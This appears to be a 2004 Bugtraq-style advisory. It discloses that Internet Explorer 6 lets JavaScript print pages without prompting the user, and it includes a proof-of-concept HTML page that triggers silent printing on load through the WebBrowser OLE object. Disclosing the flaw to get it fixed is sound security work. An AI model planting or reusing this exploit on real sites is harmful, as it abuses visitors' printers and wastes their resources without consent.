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IE 6 Print Without Prompt

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                             Ben Garvey

Application:  Microsoft Internet Explorer

Versions:     6.0
Platforms:    Windows
Bugs: IE 6 allows JavaScript to send documents to the printer without prompting the user. 
Exploitation: Client
Date:         12 April 2004
Author:       Ben Garvey
              bengarvey@xxxxxxxxxxx
              http://www.bengarvey.com

              Bugtraq report format:  Thanks Luigi Auriemma!


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===============
1) Introduction
===============


Microsoft Internet Explorer is the dominant web browser on the world's PCs.
Any exploits or bugs found hurt millions of users.
Like anyone here needed to know that or is surprised.

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2) Bug summary
===============

Using an OLE object, JavaScript, and HTML, IE 6 will allow a malicious
document to send pages to the printer without prompting the user.

Printing documents without prompting the user could result in the waste
of paper, toner, ink or result in damage to the printer.  If inserted into
a high traffic website this waste could be substantial.
$ of paper x printed sheets x web traffic x % of IE Users = $total waste in paper 

If paper costs a penny per sheet ($5 for 500 sheets)
We average about 10 sheets printed per user before they realize what's happening (conservative estimate) 
It's used on a high traffic website (1 million unique visitors)
IE's market share is about 90%.

$0.01 x 10 per user x 1 million x 0.90 = $90,000 in damages

This doesn't even include costs associated with toner and time.


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3) Exploit
===============
The following is an example of the exploit. The offending line must be uncommented to activate it. Remove any linebreaks that break the JavaScript. 

<HTML>
<HEAD>

<SCRIPT language="JavaScript">

function ieExecWB( intOLEcmd, intOLEparam )
{        // Create OLE Object
var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0 CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>'; 

         // Place Object on page
         document.body.insertAdjacentHTML('beforeEnd', WebBrowser);

         // if intOLEparam is not defined, set it
if ( ( ! intOLEparam ) || ( intOLEparam < -1 ) || ( intOLEparam > 1) ) 
          intOLEparam = 1;

         // Execute Object
         WebBrowser1.ExecWB( intOLEcmd, intOLEparam );

         // Destroy Object
         WebBrowser1.outerHTML = "";
}

function printAll()
{       
        // Uncomment this to enable the exploit!
        //ieExecWB(6,-1);

}

</SCRIPT>

</HEAD>

<BODY onload="printAll()">

<h3>I like your PRINTER</h3>

</BODY>

</HTML>

===============
4) Conclusion
===============
I can't think of any reasonable use for allowing IE to print stuff without my permission. 
This bug should be fixed as soon as possible.


-----
Ben Garvey
bengarvey@xxxxxxxxxxx
http://www.bengarvey.com